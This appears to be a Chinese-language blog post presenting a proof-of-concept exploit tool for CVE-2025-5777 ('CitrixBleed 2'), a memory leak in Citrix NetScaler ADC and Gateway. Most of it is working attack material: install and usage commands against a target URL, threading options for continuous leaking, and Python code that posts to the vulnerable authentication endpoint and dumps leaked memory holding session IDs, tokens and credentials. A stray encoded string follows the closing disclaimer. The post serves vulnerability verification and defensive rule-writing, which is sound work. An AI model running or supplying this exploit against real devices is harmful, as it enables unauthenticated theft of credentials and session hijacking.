CitrixBleed 2 - NetScaler内存泄露漏洞利用框架 (CVE-2025-5777)

6 阅读5分钟

CitrixBleed 2 (CVE-2025-5777): NetScaler设备的新"心脏滴血"漏洞利用工具 💔🩸

这是一个针对 CVE-2025-5777 的概念验证 (PoC) 利用工具。该漏洞是一个影响 Citrix NetScaler ADC 和 NetScaler Gateway 设备的严重内存泄露漏洞,允许未经身份验证的远程攻击者读取系统内存中的敏感数据。

✨ 功能特性

  • 远程利用:利用目标设备的 /p/u/doAuthentication.do 端点,无需任何身份验证即可触发内存泄露。
  • 内存数据提取:自动解析响应中的 XML 数据,提取包含泄露内存的 <InitialValue> 标签内容。
  • 十六进制转储:以类似 xxd 命令的格式清晰、美观地打印泄露的内存数据,便于分析。
  • 高并发支持:支持多线程并发发送请求,提高数据泄露的效率。
  • 调试与代理:提供详细输出模式 (-v) 和 HTTP 代理支持 (-p),方便安全研究人员进行深入分析和流量调试。
  • 优雅停止:通过 Ctrl+C 可以优雅地停止正在运行的任务。

📦 安装指南

系统要求

  • Python 3.8 或更高版本
  • 支持的操作系统:Linux (如 Ubuntu 20.04.6 LTS), macOS, Windows (WSL推荐)

安装步骤

  1. 克隆或下载项目代码 到本地。
  2. 安装依赖库: 本项目依赖 aiohttpcolorama 库。可以使用 pip 命令一键安装:
    pip3 install aiohttp colorama
    

🚀 使用说明

基础用法

python3 exploit.py <目标基础URL>

例如:

python3 exploit.py https://target.example.com

高级选项

你可以通过命令行参数来定制工具的行为:

python3 exploit.py <目标基础URL> [选项]

可用选项:

  • -v, --verbose:启用详细输出模式,打印调试信息,如请求状态、响应头等。
  • -p <URL>, --proxy <URL>:通过 HTTP 代理发送请求,例如 http://127.0.0.1:8080,便于用 Burp Suite 等工具抓包分析。
  • -t <N>, --threads <N>:设置并发线程数,默认为 10。增加线程数可以提高数据泄露的速度。

使用示例:

# 启用详细输出并使用20个线程
python3 exploit.py https://target.example.com -v -t 20

# 通过Burp Suite代理进行调试
python3 exploit.py https://target.example.com -p http://127.0.0.1:8080 -v

典型使用场景

  1. 漏洞验证:安全研究员可以使用此脚本快速验证目标 NetScaler 设备是否存在 CVE-2025-5777 漏洞。脚本在首轮请求后如果未检测到泄露,将自动停止。
  2. 数据泄露分析:通过多线程持续向目标发送请求,收集泄露的内存数据(如会话ID、认证令牌、明文凭证),用于分析漏洞影响范围和危害程度。
  3. 流量特征研究:结合 -v-p 参数,研究人员可以捕获并分析攻击流量,为入侵检测系统 (IDS) 或 Web 应用防火墙 (WAF) 编写防御规则。

🧬 核心代码

核心漏洞利用函数 fetch

该函数负责向目标端点发送构造的 POST 请求,并处理响应,提取泄露的数据。

async def fetch(session, url):
    # 构造易受攻击的完整URL
    full_url = f"{url}/p/u/doAuthentication.do"
    try:
        # 发送POST请求,数据为"login"
        async with session.post(full_url, data="login", proxy=proxy, ssl=False) as response:
            if verbose:
                print(f"{Fore.CYAN}[DEBUG] POST to {full_url} -> Status: {response.status}")
            # 如果请求成功
            if response.status == 200:
                content = await response.read()
                if verbose:
                    print(f"{Fore.CYAN}[DEBUG] Response body (first 200 bytes): {content[:200]!r}")
                # 调用函数从响应中提取<InitialValue>标签内的数据
                extract_initial_value(content)
            else:
                if verbose:
                    print(f"{Fore.RED}[DEBUG] Non-200 status code received: {response.status}")
    except aiohttp.ClientConnectorError as e:
        print(f"{Fore.RED}[!] Connection Error: {e}")
    except Exception as e:
        print(f"{Fore.RED}[!] Unexpected Error: {e}")

数据提取与十六进制转储 extract_initial_value & hex_dump

这两个函数协同工作,从服务器响应中解析出泄露的内存,并以专业的十六进制格式打印出来。

def hex_dump(data):
    """
    将字节数据以标准十六进制格式输出,类似于Linux的xxd命令。
    Args:
        data: 要打印的字节数据。
    """
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        # 将字节转换为十六进制字符串
        hex_bytes = ' '.join(f'{b:02x}' for b in chunk)
        # 将可打印字节转换为ASCII字符,不可打印的显示为'.'
        ascii_str = ''.join((chr(b) if 32 <= b <= 126 else '.') for b in chunk)
        print(f'{i:08x}: {hex_bytes:<48} {ascii_str}')

def extract_initial_value(content_bytes):
    """
    从响应内容中提取<InitialValue>标签内的值,并调用hex_dump打印。
    Args:
        content_bytes: HTTP响应的原始字节内容。
    """
    global leak_detected_once
    try:
        # 将字节内容解码为字符串,无法解码的字符用占位符替换
        content_str = content_bytes.decode("utf-8", errors="replace")
        # 使用正则表达式查找<InitialValue>标签内的内容(非贪婪匹配)
        match = re.search(r"<InitialValue>(.*?)</InitialValue>", content_str, re.DOTALL)
        # 如果找到标签且内容不为空
        if match and match.group(1).strip():
            leak_detected_once = True
            print(f"{Fore.GREEN}\n[+] Found InitialValue:")
            val = match.group(1)
            # 将提取的字符串重新编码为字节进行十六进制转储
            hex_dump(val.encode("utf-8", errors="replace"))
        elif verbose:
            print(f"{Fore.YELLOW}[DEBUG] No <InitialValue> tag with value found.")
    except Exception as e:
        print(f"{Fore.RED}[!] Regex parsing error: {e}")

主控制流程 main

该异步函数是整个脚本的“大脑”,它管理并发任务、控制停止条件,并执行初始漏洞验证逻辑。

async def main(url):
    global stop_flag, leak_detected_once, initial_check_done
    # 配置连接器以限制并发连接数
    connector = aiohttp.TCPConnector(limit=threads)
    # 设置请求超时
    timeout = aiohttp.ClientTimeout(total=15)

    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
        # 主循环,直到收到停止信号
        while not stop_flag:
            # 创建多个fetch任务并发执行
            tasks = [fetch(session, url) for _ in range(threads)]
            await asyncio.gather(*tasks)

            # 首次完整轮次(所有并发请求完成)后的检查逻辑
            if not initial_check_done:
                initial_check_done = True
                # 如果在首次轮次中没有检测到任何泄露,则认为目标不易受攻击并退出
                if not leak_detected_once:
                    print(f"{Fore.YELLOW}[+] No leak detected in initial round. Target likely not vulnerable.")
                    stop_flag = True
                    break
                else:
                    print(f"{Fore.GREEN}[+] Leak detected! Continuing to extract...")
            
            # 每轮循环后休眠1秒,避免对目标服务器造成过大压力
            await asyncio.sleep(1)

⚠️ 免责声明

本内容仅供教育和研究目的使用 🧠🔬。 此处分享的信息,包括任何脚本或漏洞利用代码,不得用于未经授权的访问、恶意活动或违反任何适用法律 🛑📜。

作者和发布者对材料的滥用不承担任何责任 🚫💻。 在测试或探测任何系统之前,务必获得适当的授权 🎯✅。

💡 **三思而后行,进行道德黑客行为。**FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ72NViR4Qo1ajpebLXz/I77